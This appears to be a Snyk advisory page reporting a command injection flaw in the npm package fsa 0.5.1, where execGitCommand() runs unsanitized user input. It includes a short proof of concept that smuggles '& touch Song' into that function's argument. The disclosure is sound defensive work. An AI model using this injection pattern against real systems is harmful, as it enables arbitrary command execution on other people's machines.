Homepage
About Snyk

fsa@0.5.1 vulnerabilities

File system auditor. Shows changes after previous audit session.

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the fsa package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • L
Command Injection

fsa is a File system auditor.

Affected versions of this package are vulnerable to Command Injection. The first argument of execGitCommand(), located within lib/rep.js#63 can be controlled by users without any sanitization to inject arbitrary commands.

PoC

var root = require("fsa");
var attack_code = "& touch Song";
var dir = "./";
var options= {};
root.rep.execGitCommand(attack_code,dir,options,function(){});

How to fix Command Injection?

There is no fixed version for fsa.

*
Go back to all versions of this package